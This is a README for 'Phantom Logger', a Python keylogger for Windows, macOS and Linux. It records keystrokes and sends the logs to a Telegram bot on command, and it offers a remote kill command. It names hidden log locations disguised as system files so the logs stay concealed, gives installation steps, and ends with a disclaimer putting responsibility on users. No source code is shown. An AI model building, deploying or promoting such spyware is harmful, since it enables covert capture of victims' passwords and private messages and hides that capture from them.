A cross-platform keylogger written in Python that captures keyboard input and sends formatted logs to a Telegram bot on demand. This tool demonstrates keystroke logging capabilities across Windows, macOS, and Linux systems.
/logs: send log in .txt format/status: send message to check Phantom Logger status/kill: destroy Phantom Logger
- Windows:
%LOCALAPPDATA%\Microsoft\Event Viewer\ExternalLogs.dat - macOS:
~/Library/Caches/.com.apple.bird.plist - Linux:
~/.cache/.fontconfig-timestamp.dat
- Python 3.7+
- Telegram Bot Token (obtain from @BotFather)
- Telegram Chat ID
- Clone repository
git clone https://github.com/RykerWilder/phantom-logger- Enter directory
cd phantom-logger- Create virtual environment and activate it
python3 -m venv venv
source venv/bin/activate- Install dependencies
pip3 install -r requirements.txtphantom-logger/
├── main.py
├── modules/
│ ├── __init__.py
│ ├── logger.py
│ ├── telegram_bot.py
│ ├── formatter.py
│ └── utils.py
├── build.sh
├── requirements.txt
└── .env The authors and contributors are not responsible for any misuse of this software. Users assume all legal and ethical responsibility for their actions.